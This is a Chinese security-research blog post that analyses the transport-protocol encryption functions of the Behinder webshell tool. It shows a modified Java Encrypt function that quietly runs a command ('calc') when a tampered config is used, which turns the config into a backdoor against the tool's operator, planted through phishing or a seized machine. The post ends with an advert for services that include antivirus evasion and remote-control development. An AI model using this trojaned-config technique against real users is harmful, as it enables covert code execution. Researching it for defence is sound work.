长亭百川云 - 文章详情

安全研究|公开冰蝎传输协议RCE漏洞

校长

190

2024-08-06

0x01 前言

这个研究其实从去年就有了,国护还没结束就先公开一下。

0x02 传输协议

  1. 本地对Payload进行加密,然后通过POST请求发送给远程服务端;

  2. 服务端收到Payload密文后,利用解密算法进行解密;

  3. 服务端执行解密后的Payload,并获取执行结果;

  4. 服务端对Payload执行结果进行加密,然后返回给本地客户端;

  5. 客户端收到响应密文后,利用解密算法解密,得到响应内容明文。

一个传输协议必须包含一对本地加解密函数,至少包含一对远程加解密函数(Java、PHP、C#、ASP中的一个或者多个)。

无论用哪种语言,同一个名称的传输协议,本地和远程的加解密逻辑应该是一致的,这样才能实现本地加密后,远程可以成功解密,远程加密后,本地同样也可以解密(因此如果修改默认的aes协议的key,则需要同时修改本地和远程的加密函数和加密函数中的key)。

这里我们来分析本地加解密函数,使用 default_json 做为例子

`加密函数:   private byte[] Encrypt(byte[] data) throws Exception   {       String json="{\"id\":\"1\",\"body\":{\"user\":\"lucky\"}}";       json=json.replace("lucky",java.util.Base64.getEncoder().encodeToString(data).replace("+","<").replace("/",">"));       return json.getBytes();   }      解密函数:   private byte[] Decrypt(byte[] data) throws Exception   {       java.io.ByteArrayOutputStream bos=new java.io.ByteArrayOutputStream();       bos.write(data,26,data.length-29);       return java.util.Base64.getDecoder().decode(new String(bos.toByteArray()).replace("<","+").replace(">","/"));          }   `

这个 加密函数 的主要作用是:

  1. 创建一个包含固定结构的 JSON 字符串。

  2. 将传入的字节数组 data 编码为 Base64 字符串,并替换其中的 + 和 / 字符。

  3. 将编码后的 Base64 字符串插入到 JSON 中的 user 字段。

  4. 将最终的 JSON 字符串转换为字节数组并返回。

假设传入的 data 是 hello 的字节数组。执行后,encryptedData 将包含如下内容的字节数组:

`{"id":"1","body":{"user":"aGVsbG8="}}   `

那么这个 解密函数 的主要作用是:

  1. 创建 ByteArrayOutputStream 对象:用于临时存储字节数据。

  2. 写入数据到 ByteArrayOutputStream:从输入数据中提取特定范围的字节。

  3. 转换为字符串并替换字符:将提取的字节转换为字符串,并进行特定字符替换。

  4. Base64 解码:将替换后的字符串进行 Base64 解码,返回原始字节数组。

0x03 修改传输协议

我们这里使用冰蝎的传输协议:default_xor_base64 进行修改

我们可以设计在这个加密函数进行加密后执行本地的文件。

`private byte[] Encrypt(byte[] data) throws Exception   {       String key="e45e329feb5d925b";    for (int i = 0; i < data.length; i++) {     data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15]));    }    byte[] encrypted ;           Class baseCls;           try           {               baseCls=Class.forName("java.util.Base64");               Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);               encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{data});                          String calculatorApp = "calc";                  Runtime.getRuntime().exec(calculatorApp);                          }           catch (Throwable error)           {               baseCls=Class.forName("sun.misc.BASE64Encoder");               Object Encoder=baseCls.newInstance();               String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{data});               result=result.replace("\n", "").replace("\r", "");               encrypted=result.getBytes();           }    return encrypted;   }   `
  1. 定义密钥: e45e329feb5d925b

  2. XOR加密: 遍历输入的字节数组data,并使用密钥的字节逐个对数据进行XOR操作。这里i + 1 & 15是为了确保索引在0到15之间循环

  3. 定义加密结果数组: 用于存储加密后的数据

  4. Base64编码和打开计算器:尝试使用java.util.Base64类进行Base64编码。如果成功,将加密后的数据进行Base64编码,并在编码后启动计算器

  5. 备用编码方案:如果使用java.util.Base64类失败(例如在旧版本的Java中没有这个类),则使用sun.misc.BASE64Encoder类进行编码。将编码结果中的换行符和回车符去除,并转换为字节数组。

  6. 返回加密结果

这就是修改后的加密函数,因为我们加密函数的功能同修改前的加密函数是相同的,所以我们不用修改解密函数。

这里其实,在实战当中我们只能通过钓鱼以及当我们拿下攻击队电脑时可以修改其冰蝎配置!

这里我们是成功连接,并且成功弹出计算器!

0x04 结尾

承接红蓝对抗、安全众测、安全培训、CTF代打、CTF培训、PHP / JAVA / GO / Python 代码审计、渗透测试、应急响应、免杀/远控开发、二进制漏洞挖掘、Web3安全服务、智能合约代码审计 等等的安全项目,请联系下方微信。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2